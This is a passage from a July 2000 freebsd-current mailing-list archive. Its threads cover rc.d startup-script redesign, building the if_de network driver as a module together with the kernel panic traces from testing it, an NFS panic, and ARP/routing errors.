0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A isa0: <@@@0000> found isa0: found unknown: can't assign resources unknown: can't assign resources unknown: <16550 compatible COM device> can't assign resources unknown: <16550 compatible COM device> can't assign resources unknown: can't assign resources isa0: found unknown: can't assign resources APIC_IO: Testing 8254 interrupt delivery APIC_IO: routing 8254 via IOAPIC #0 intpin 2 Waiting 10 seconds for SCSI devices to settle SMP: AP CPU #1 Launched! cd0 at ncr0 bus 0 target 5 lun 0 cd0: Removable CD-ROM SCSI-2 device cd0: 4.237MB/s transfers (4.237MHz, offset 8) cd0: cd present [295811 x 2048 byte records] da0 at ncr0 bus 0 target 0 lun 0 da0: Fixed Direct Access SCSI-2 device da0: 10.000MB/s transfers (10.000MHz, offset 8) da0: 1042MB (2134305 512 byte sectors: 255H 63S/T 132C) da2 at ncr0 bus 0 target 2 lun 0 da2: Fixed Direct Access SCSI-2 device da2: 10.000MB/s transfers (10.000MHz, offset 8), Tagged Queueing Enabled da2: 1029MB (2109376 512 byte sectors: 255H 63S/T 131C) Mounting root from ufs:/dev/da1s1a da1 at ncr0 bus 0 target 1 lun 0 da1: Fixed Direct Access SCSI-3 device da1: 10.000MB/s transfers (10.000MHz, offset 8), Tagged Queueing Enabled da1: 8748MB (17916240 512 byte sectors: 255H 63S/T 1115C) WARNING: / was not properly dismounted de0: enabling BNC port To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 11: 5:46 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 5A4BD37B722 for ; Mon, 10 Jul 2000 11:05:39 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p29-dn03kiryunisiki.gunma.ocn.ne.jp [210.232.224.158]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id DAA15144; Tue, 11 Jul 2000 03:05:18 +0900 (JST) Message-ID: <396A107B.620FFBD9@newsguy.com> Date: Tue, 11 Jul 2000 03:05:47 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Andrzej Bialecki Cc: freebsd-current@FreeBSD.ORG Subject: Re: etc/rc.d & things... References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Andrzej Bialecki wrote: > > > and my favorite substitute proposal: > > > > http://www.roguetrader.com/~brandon/sas/. > > I really like the ideas in the last one. The pages were not updated for > some time - do you know if the author still works on it? No clue. At the time he decided to have a take on it, I traded many messages with him about it. I know he had part of it working, and could boot with it. After that, though, I never heard from him again. Like you, I really like his proposal. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@the.great.underground.bsdconpiracy.org _DES: The Book of Bruce has only one sentence in it, and it says "the actual directives of my cult are left as an exercise for the reader. Good luck." jkh: does it really include the 'good luck' part? EE: OK, I made that part up. EE: I figured it should sound a bit more cheery than how Bruce initially dictated it to me. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 11:16:10 2000 Delivered-To: freebsd-current@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id 9614037BB1A; Mon, 10 Jul 2000 11:15:57 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.15 #1) id 13Bi5t-000Kyj-00; Mon, 10 Jul 2000 20:15:49 +0200 From: Sheldon Hearn To: Ade Lovett Cc: Alexander Leidinger , markm@FreeBSD.ORG, current@FreeBSD.ORG, ports@FreeBSD.ORG Subject: Re: Perl 5.6.0 & pod2man & ports In-reply-to: Your message of "Mon, 10 Jul 2000 11:44:08 EST." <20000710114408.C56401@FreeBSD.org> Date: Mon, 10 Jul 2000 20:15:49 +0200 Message-ID: <80644.963252949@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 10 Jul 2000 11:44:08 EST, Ade Lovett wrote: > On Mon, Jul 10, 2000 at 06:32:22PM +0200, Sheldon Hearn wrote: > > But you didn't update /usr/ports/Mk, did you? :-) > > This is nothing to do with parts of /usr/ports being out of date > and has already been mentioned on both -ports and -current. Interesting. I was seeing these exact error messages until I updated /usr/ports/Mk, after which they went away. Sorry to have misinformed. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 11:20:20 2000 Delivered-To: freebsd-current@freebsd.org Received: from mimer.webgiro.com (mimer.webgiro.com [212.209.29.5]) by hub.freebsd.org (Postfix) with ESMTP id DBA5B37BBC8 for ; Mon, 10 Jul 2000 11:20:06 -0700 (PDT) (envelope-from abial@webgiro.com) Received: by mimer.webgiro.com (Postfix, from userid 66) id 48FEB2DC0A; Mon, 10 Jul 2000 20:25:39 +0200 (CEST) Received: by mx.webgiro.com (Postfix, from userid 1001) id B55E07817; Mon, 10 Jul 2000 20:17:10 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by mx.webgiro.com (Postfix) with ESMTP id AFF6910E17; Mon, 10 Jul 2000 20:17:10 +0200 (CEST) Date: Mon, 10 Jul 2000 20:17:10 +0200 (CEST) From: Andrzej Bialecki To: "Daniel C. Sobral" Cc: freebsd-current@FreeBSD.ORG Subject: Re: etc/rc.d & things... In-Reply-To: <396A107B.620FFBD9@newsguy.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 11 Jul 2000, Daniel C. Sobral wrote: > Andrzej Bialecki wrote: > > > > > and my favorite substitute proposal: > > > > > > http://www.roguetrader.com/~brandon/sas/. > > > > I really like the ideas in the last one. The pages were not updated for > > some time - do you know if the author still works on it? > > No clue. At the time he decided to have a take on it, I traded many > messages with him about it. I know he had part of it working, and could > boot with it. After that, though, I never heard from him again. > > Like you, I really like his proposal. Hmm... Soon I will have some free time (holidays and stuff..). I'll take a look at it. It looks too good to be wasted. Andrzej Bialecki // WebGiro AB, Sweden (http://www.webgiro.com) // ------------------------------------------------------------------- // ------ FreeBSD: The Power to Serve. http://www.freebsd.org -------- // --- Small & Embedded FreeBSD: http://www.freebsd.org/~picobsd/ ---- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 11:48:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from grimreaper.grondar.za (grimreaper.grondar.za [196.7.18.138]) by hub.freebsd.org (Postfix) with ESMTP id 1DA5E37B791; Mon, 10 Jul 2000 11:47:51 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grimreaper.grondar.za (localhost [127.0.0.1]) by grimreaper.grondar.za (8.9.3/8.9.3) with ESMTP id UAA67042; Mon, 10 Jul 2000 20:48:08 +0200 (SAST) (envelope-from mark@grimreaper.grondar.za) Message-Id: <200007101848.UAA67042@grimreaper.grondar.za> To: wpaul@freebsd.org Cc: current@freebsd.org Subject: if_de as a module... Date: Mon, 10 Jul 2000 20:48:08 +0200 From: Mark Murray Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi Bill If I apply the enclosed patch to sys/pci/if_de.c, and make a copy of (say) sys/modules/dc to sys/modules/de (while changing all relevant dc --> de), I can build a loadable module for de. Could you please check that this works in your (no doubt) excellent laboratory and either commit or review for me to commit. Thanks! :-) M Index: sys/pci/if_de.c =================================================================== RCS file: /home/ncvs/src/sys/pci/if_de.c,v retrieving revision 1.129 diff -u -d -r1.129 if_de.c --- sys/pci/if_de.c 2000/05/28 16:06:56 1.129 +++ sys/pci/if_de.c 2000/07/09 08:27:09 @@ -54,10 +54,9 @@ #include #include -#include "opt_inet.h" -#include "opt_ipx.h" - #include +#include +#include #include #include #ifdef TULIP_USE_SOFTINTR To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 11:54:23 2000 Delivered-To: freebsd-current@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 8677237B7BA; Mon, 10 Jul 2000 11:53:59 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from semuta.feral.com (semuta [192.67.166.70]) by feral.com (8.9.3/8.9.3) with ESMTP id LAA28857; Mon, 10 Jul 2000 11:51:32 -0700 Date: Mon, 10 Jul 2000 11:49:37 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Mark Murray Cc: wpaul@FreeBSD.ORG, current@FreeBSD.ORG Subject: Re: if_de as a module... In-Reply-To: <200007101848.UAA67042@grimreaper.grondar.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG *I'll* check it too- I'd *love* to have if_de as a loadable since most of the alphas I have use if_de (not dc)! On Mon, 10 Jul 2000, Mark Murray wrote: > Hi Bill > > If I apply the enclosed patch to sys/pci/if_de.c, and make a > copy of (say) sys/modules/dc to sys/modules/de (while changing > all relevant dc --> de), I can build a loadable module for de. > > Could you please check that this works in your (no doubt) > excellent laboratory and either commit or review for me to > commit. > > Thanks! :-) > > M > > Index: sys/pci/if_de.c > =================================================================== > RCS file: /home/ncvs/src/sys/pci/if_de.c,v > retrieving revision 1.129 > diff -u -d -r1.129 if_de.c > --- sys/pci/if_de.c 2000/05/28 16:06:56 1.129 > +++ sys/pci/if_de.c 2000/07/09 08:27:09 > @@ -54,10 +54,9 @@ > #include > #include > > -#include "opt_inet.h" > -#include "opt_ipx.h" > - > #include > +#include > +#include > #include > #include > #ifdef TULIP_USE_SOFTINTR > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 12:42: 1 2000 Delivered-To: freebsd-current@freebsd.org Received: from camus.cybercable.fr (camus.cybercable.fr [212.198.0.200]) by hub.freebsd.org (Postfix) with SMTP id CF39137BB80 for ; Mon, 10 Jul 2000 12:41:48 -0700 (PDT) (envelope-from clefevre%no-spam@citeweb.net) Received: (qmail 12327080 invoked from network); 10 Jul 2000 19:41:47 -0000 Received: from r224m65.cybercable.tm.fr (HELO gits.dyndns.org) ([195.132.224.65]) (envelope-sender ) by camus.cybercable.fr (qmail-ldap-1.03) with SMTP for ; 10 Jul 2000 19:41:47 -0000 Received: (from root@localhost) by gits.dyndns.org (8.9.3/8.9.3) id VAA86060; Mon, 10 Jul 2000 21:41:45 +0200 (CEST) (envelope-from clefevre%no-spam@citeweb.net) Posted-Date: Mon, 10 Jul 2000 21:41:45 +0200 (CEST) To: "Daniel C. Sobral" Cc: Mike Meyer , clefevre@citeweb.net, freebsd-current@FreeBSD.ORG Subject: Re: etc/rc.d & things... References: <14695.51428.314772.426883@guru.mired.org> <14697.31325.422020.803101@guru.mired.org> <3969D84A.D23A84B6@newsguy.com> Reply-To: clefevre@citeweb.net X-Face: V|+c;4!|B?E%BE^{E6);aI.[<97Zd*>^#%Y5Cxv;%Y[PT-LW3;A:fRrJ8+^k"e7@+30g0YD0*^^3jgyShN7o?a]C la*Zv'5NA,=963bM%J^o]C From: Cyrille Lefevre Date: 10 Jul 2000 21:41:43 +0200 In-Reply-To: "Daniel C. Sobral"'s message of "Mon, 10 Jul 2000 23:06:02 +0900" Message-ID: <3dlhpybs.fsf@pc166.gits.fr> Lines: 71 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Canyonlands) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Daniel C. Sobral" writes: > Mike Meyer wrote: > > > > Yes, that's correct. And yes, not all is bad in SysV. In particular, > > having a directory where you can find scripts to stop (and restart) > > subsystems is very nice. I think the multiple levels (rc?.d) is a bit > > of overkill. Either the system is up (meaning everything is turned > > on), or it's down, and the sysadmin who brought it down can start the > > subsystems s/he needs. Having a single init.d to look in for those > > things helps in that process. > > The multiple levels are there to deal with changes in state. In BSD, for > instance, we have single user/multi-user. A number of other variations > can exist, both in heavy duty servers where you might want to bring > certain services down for upgrade and then back up, and "desktop" > machines, such as notebooks where you can be stand-alone, docked into > different networks (eg. home/work). > > Thing is, SysV does it in a very ugly way, and not flexible enough > either. > > This has been talked to death. Look at these: > > http://www.freebsd.org/~dfr/devices.html off topic. > http://www.freebsd.org/~eivind/newrc.html well. what about a mix of the SystemV approach (ala HP-UX) and the IRIX one (using something like chconfig). HP-UX : /sbin/init.d/script start_msg|stop_msg|start|stop (FMPOV, there isn't not enough possible choises, such as status, restart, config, command, etc.) /sbin/rc[S0-5].d/[SK][0-9][0-9][0-9]script linked to /sbin/init.d/script /sbin/rc (+ /sbin/rc.util) sources /etc/rc.config then runs /sbin/rc?.d startup files /etc/rc.config.d/services are configuration files (ala bourne shell). /sbin/rc.config sources /etc/rc.config.d configuration files. /usr/sbin/ch_rc is not so easy to use to modify /etc/rc.config.d/services. IRIX : oops, don't remember how works startup scripts. I just remember me configurations files : /sbin/chconfig [on|off] service or something like that. (don't remember if it's possible to change options through chconfig, but I guess no). /etc/config/services enable or disable services. /etc/config/services.options just contains arguments to services. so, a mix of both w/o the levels stuffs + a /etc/rc.default.d (a synonym to /etc/defaults/rc.conf but in separate files between HP-UX and IRIX configuration files) would be a begining. please, don't do something like AIX :) they use a binary database to stock there things... > and my favorite substitute proposal: > > http://www.roguetrader.com/~brandon/sas/. effectively, the last one is interresting. a major problem w/ this one is the use of "perl" which is not available a boot time since it is located in /usr. Cyrille. -- home:mailto:clefevre%no-spam@citeweb.net Supprimer "%no-spam" pour me repondre. work:mailto:Cyrille.Lefevre%no-spam@edf.fr Remove "%no-spam" to answer me back. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 12:50:36 2000 Delivered-To: freebsd-current@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 50EBF37BA16; Mon, 10 Jul 2000 12:50:23 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from semuta.feral.com (semuta [192.67.166.70]) by feral.com (8.9.3/8.9.3) with ESMTP id MAA29102; Mon, 10 Jul 2000 12:50:10 -0700 Date: Mon, 10 Jul 2000 12:48:15 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Mark Murray Cc: wpaul@FreeBSD.ORG, current@FreeBSD.ORG Subject: Re: if_de as a module... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > *I'll* check it too- I'd *love* to have if_de as a loadable since most of the > alphas I have use if_de (not dc)! Umm- started okay: de0: port 0x10300-0x1037f mem 0x82083000-0x8208307f irq 3 at device 9.0 on pci0 de0: interrupting at CIA irq 3 de0: 21140A [10-100Mb/s] pass 2.2 de0: address 00:40:05:41:5b:e6 bpf: de0 attached de0: flags=8843 mtu 1500 inet 192.67.166.23 netmask 0xffffff00 broadcast 192.67.166.255 ether 00:40:05:41:5b:e6 media: autoselect supported media: autoselect 100baseTX 100baseTX 10baseT/UTP 10baseT/UTP lo0: flags=8049 mtu 16384 inet 127.0.0.1 netmask 0xff000000 add net default: gateway 192.67.166.1 Additional routing options: tcp arplookup 192.67.166.155 failed: could not allocate llinfo arpresolve: can't allocate llinfo for 192.67.166.155rt extensions=NO IP gateway=YES TCP keepalive=YES. routing daemons:. ... but then failed with: arplookup 192.67.166.155 failed: could not allocate llinfo arpresolve: can't allocate llinfo for 192.67.166.155rt arplookup 192.67.166.155 failed: could not allocate llinfo arpresolve: can't allocate llinfo for 192.67.166.155rt arplookup 192.67.166.155 failed: could not allocate llinfo arpresolve: can't allocate llinfo for 192.67.166.155rt .... and then died: rplookup 192.67.166.155 failed: could not allocate llinfo arpresolve: can't allocate llinfo for 192.67.166.155rt arplookup 192.67.166.155 failed: could not allocate llinfo arpresolve: can't allocate llinfo for 192.67.166.155rt arplookup 192.67.166.155 failed: could not allocate llinfo arpresolve: can't allocate llinfo for 192.67.166.155rt NFS Portmap: RPC: Port mapper failure - RPC: Timed out fatal kernel trap: trap entry = 0x2 (memory management fault) a0 = 0x0 a1 = 0x1 a2 = 0xffffffffffffffff pc = 0x0 ra = 0xfffffc00004cb4e0 curproc = 0 ddbprinttrap from 0x0 ddbprinttrap(0x0, 0x1, 0xffffffffffffffff, 0x2) panic: trap panic Stopped at Debugger+0x2c: ldq ra,0(sp) <0xfffffe0009805a00> db> t Debugger() at Debugger+0x2c panic() at panic+0x100 trap() at trap+0x630 XentMM() at XentMM+0x20 swi_net() at swi_net+0x40 (null)() at 0x1 ----------------------- *sigh* (whimper) > On Mon, 10 Jul 2000, Mark Murray wrote: > > > Hi Bill > > > > If I apply the enclosed patch to sys/pci/if_de.c, and make a > > copy of (say) sys/modules/dc to sys/modules/de (while changing > > all relevant dc --> de), I can build a loadable module for de. > > > > Could you please check that this works in your (no doubt) > > excellent laboratory and either commit or review for me to > > commit. > > > > Thanks! :-) > > > > M > > > > Index: sys/pci/if_de.c > > =================================================================== > > RCS file: /home/ncvs/src/sys/pci/if_de.c,v > > retrieving revision 1.129 > > diff -u -d -r1.129 if_de.c > > --- sys/pci/if_de.c 2000/05/28 16:06:56 1.129 > > +++ sys/pci/if_de.c 2000/07/09 08:27:09 > > @@ -54,10 +54,9 @@ > > #include > > #include > > > > -#include "opt_inet.h" > > -#include "opt_ipx.h" > > - > > #include > > +#include > > +#include > > #include > > #include > > #ifdef TULIP_USE_SOFTINTR > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-current" in the body of the message > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 13: 7:30 2000 Delivered-To: freebsd-current@freebsd.org Received: from grimreaper.grondar.za (grimreaper.grondar.za [196.7.18.138]) by hub.freebsd.org (Postfix) with ESMTP id D8B2237B7F9; Mon, 10 Jul 2000 13:07:18 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grimreaper.grondar.za (localhost [127.0.0.1]) by grimreaper.grondar.za (8.9.3/8.9.3) with ESMTP id WAA67594; Mon, 10 Jul 2000 22:08:07 +0200 (SAST) (envelope-from mark@grimreaper.grondar.za) Message-Id: <200007102008.WAA67594@grimreaper.grondar.za> To: mjacob@feral.com Cc: wpaul@FreeBSD.ORG, current@FreeBSD.ORG Subject: Re: if_de as a module... References: In-Reply-To: ; from Matthew Jacob "Mon, 10 Jul 2000 12:48:15 MST." Date: Mon, 10 Jul 2000 22:08:07 +0200 From: Mark Murray Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Umm- started okay: : > and then died: > > rplookup 192.67.166.155 failed: could not allocate llinfo > arpresolve: can't allocate llinfo for 192.67.166.155rt > arplookup 192.67.166.155 failed: could not allocate llinfo > arpresolve: can't allocate llinfo for 192.67.166.155rt > arplookup 192.67.166.155 failed: could not allocate llinfo > arpresolve: can't allocate llinfo for 192.67.166.155rt > NFS Portmap: RPC: Port mapper failure - RPC: Timed out Bleagh. Fooey. :-( Biiilll!!?? :-) M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 13:17:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id B7F9137B727 for ; Mon, 10 Jul 2000 13:17:17 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from semuta.feral.com (semuta [192.67.166.70]) by feral.com (8.9.3/8.9.3) with ESMTP id NAA29200 for ; Mon, 10 Jul 2000 13:17:15 -0700 Date: Mon, 10 Jul 2000 13:15:20 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: current@freebsd.org Subject: freeing free cluster? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -current, as of ~today: FreeBSD/alpha (farrago.feral.com) (console) login: panic: freeing free cluster panic Stopped at Debugger+0x2c: ldq ra,0(sp) <0xfffffe000a2019f0> db> t Debugger() at Debugger+0x2c panic() at panic+0x100 m_freem() at m_freem+0x134 nfs_writerpc() at nfs_writerpc+0x1130 nfs_doio() at nfs_doio+0x614 nfssvc_iod() at nfssvc_iod+0x264 nfssvc() at nfssvc+0xa8 syscall() at syscall+0x244 XentSys() at XentSys+0x50 (null)() at 0x120000680 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 13:40:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from mimer.webgiro.com (mimer.webgiro.com [212.209.29.5]) by hub.freebsd.org (Postfix) with ESMTP id CC63C37B509 for ; Mon, 10 Jul 2000 13:40:10 -0700 (PDT) (envelope-from abial@webgiro.com) Received: by mimer.webgiro.com (Postfix, from userid 66) id 91AF02DC0A; Mon, 10 Jul 2000 22:45:39 +0200 (CEST) Received: by mx.webgiro.com (Postfix, from userid 1001) id 19AB17817; Mon, 10 Jul 2000 22:35:16 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by mx.webgiro.com (Postfix) with ESMTP id 14FB110E17; Mon, 10 Jul 2000 22:35:16 +0200 (CEST) Date: Mon, 10 Jul 2000 22:35:16 +0200 (CEST) From: Andrzej Bialecki To: clefevre@citeweb.net Cc: "Daniel C. Sobral" , freebsd-current@FreeBSD.ORG Subject: Re: etc/rc.d & things... In-Reply-To: <3dlhpybs.fsf@pc166.gits.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 10 Jul 2000, Cyrille Lefevre wrote: > > and my favorite substitute proposal: > > > > http://www.roguetrader.com/~brandon/sas/. > > effectively, the last one is interresting. a major problem w/ this one is the > use of "perl" which is not available a boot time since it is located in /usr. If we find out that it's very interesting, it should be implemented as part of init(8). (hint: init is NOT Perl based ;-) Andrzej Bialecki // WebGiro AB, Sweden (http://www.webgiro.com) // ------------------------------------------------------------------- // ------ FreeBSD: The Power to Serve. http://www.freebsd.org -------- // --- Small & Embedded FreeBSD: http://www.freebsd.org/~picobsd/ ---- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 13:40:40 2000 Delivered-To: freebsd-current@freebsd.org Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by hub.freebsd.org (Postfix) with ESMTP id 5956537BA81 for ; Mon, 10 Jul 2000 13:40:28 -0700 (PDT) (envelope-from n_hibma@qubesoft.com) Received: from calcaphon.demon.co.uk ([193.237.19.5] helo=bluebottle.qubesoft.com) by anchor-post-34.mail.demon.net with esmtp (Exim 2.12 #1) id 13BkLn-000Az6-0Y; Mon, 10 Jul 2000 21:40:25 +0100 Received: from henny.webweaving.org (henny.qubesoft.com [192.168.1.5]) by bluebottle.qubesoft.com (8.9.3/8.9.1) with ESMTP id VAA36121; Mon, 10 Jul 2000 21:39:55 +0100 (BST) (envelope-from n_hibma@qubesoft.com) Received: from localhost (localhost [127.0.0.1]) by henny.webweaving.org (8.9.3/8.9.3) with ESMTP id VAA06831; Mon, 10 Jul 2000 21:32:20 +0100 (BST) (envelope-from n_hibma@qubesoft.com) Date: Mon, 10 Jul 2000 21:32:20 +0100 (BST) From: Nick Hibma X-Sender: n_hibma@localhost Reply-To: Nick Hibma To: Matthew Jacob Cc: Mark Murray , FreeBSD CURRENT Mailing List Subject: Re: if_de as a module... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The opt_ files can be generated by the makefiles, so there is no reason to remove those, see sys/modules/usb/Makefile SRCS = bus_if.h device_if.h usb_if.h usb_if.c \ vnode_if.h \ opt_usb.h \ ... Any file called opt_*.h that is not present is created (empty). Nick > *I'll* check it too- I'd *love* to have if_de as a loadable since most of the > alphas I have use if_de (not dc)! > > > On Mon, 10 Jul 2000, Mark Murray wrote: > > > Hi Bill > > > > If I apply the enclosed patch to sys/pci/if_de.c, and make a > > copy of (say) sys/modules/dc to sys/modules/de (while changing > > all relevant dc --> de), I can build a loadable module for de. > > > > Could you please check that this works in your (no doubt) > > excellent laboratory and either commit or review for me to > > commit. > > > > Thanks! :-) > > > > M > > > > Index: sys/pci/if_de.c > > =================================================================== > > RCS file: /home/ncvs/src/sys/pci/if_de.c,v > > retrieving revision 1.129 > > diff -u -d -r1.129 if_de.c > > --- sys/pci/if_de.c 2000/05/28 16:06:56 1.129 > > +++ sys/pci/if_de.c 2000/07/09 08:27:09 > > @@ -54,10 +54,9 @@ > > #include > > #include > > > > -#include "opt_inet.h" > > -#include "opt_ipx.h" > > - > > #include > > +#include > > +#include > > #include > > #include > > #ifdef TULIP_USE_SOFTINTR > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-current" in the body of the message > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > -- n_hibma@webweaving.org n_hibma@freebsd.org USB project http://www.etla.net/~n_hibma/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 13:44: 0 2000 Delivered-To: freebsd-current@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id AE0BD37B509; Mon, 10 Jul 2000 13:43:56 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id NAA00862; Mon, 10 Jul 2000 13:43:22 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <200007102043.NAA00862@gndrsh.dnsmgr.net> Subject: Re: if_de as a module... In-Reply-To: <200007102008.WAA67594@grimreaper.grondar.za> from Mark Murray at "Jul 10, 2000 10:08:07 pm" To: mark@grondar.za (Mark Murray) Date: Mon, 10 Jul 2000 13:43:22 -0700 (PDT) Cc: mjacob@feral.com, wpaul@FreeBSD.ORG, current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Umm- started okay: > : > > and then died: > > > > rplookup 192.67.166.155 failed: could not allocate llinfo > > arpresolve: can't allocate llinfo for 192.67.166.155rt > > arplookup 192.67.166.155 failed: could not allocate llinfo > > arpresolve: can't allocate llinfo for 192.67.166.155rt > > arplookup 192.67.166.155 failed: could not allocate llinfo > > arpresolve: can't allocate llinfo for 192.67.166.155rt > > NFS Portmap: RPC: Port mapper failure - RPC: Timed out > > Bleagh. Fooey. :-( > > Biiilll!!?? :-) I don't think this is Bill. What does the output of netstat -rn | grep 192.67.166.155 look like when the above is occuring? I am having similiar problems here, I just upgraded one of our main boarder routers and started getting this stuff. Is what is happening is a host specific route is getting installed by gated, and this is causing arplookup/arpresolve to have problems when it tries to go create the llinfo. We just upgraded this router from 3.4-stable of January vintage to 4.0-STABLE FreeBSD July 2 vintage. I have seen this in the past, and though it was long gone, but now that I am looking at it again I see what is happening, The message we get is the same as yours: Jul 9 17:37:02 br1 /kernel: arplookup 205.238.40.30 failed: could not allocate llinfo Jul 9 17:37:02 br1 /kernel: arpresolve: can't allocate llinfo for 205.238.40.30 rt Now if I look in my routing table when this is going on (sorry don't have it saved off anyplace I can cut and paste from right now) I see a host route out another interface!!! Yes, we have a large ospf network, yes that route will work, no it is not the right route damn it, there is a direct route via an interface, and we are trying to use it, but something is blowing chunks in rtalloc1. -- Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 14:13:54 2000 Delivered-To: freebsd-current@freebsd.org Received: from shadowmere.student.utwente.nl (wit401305.student.utwente.nl [130.89.236.145]) by hub.freebsd.org (Postfix) with ESMTP id F339837B7E3 for ; Mon, 10 Jul 2000 14:13:51 -0700 (PDT) (envelope-from daeron@wit401305.student.utwente.nl) Received: by 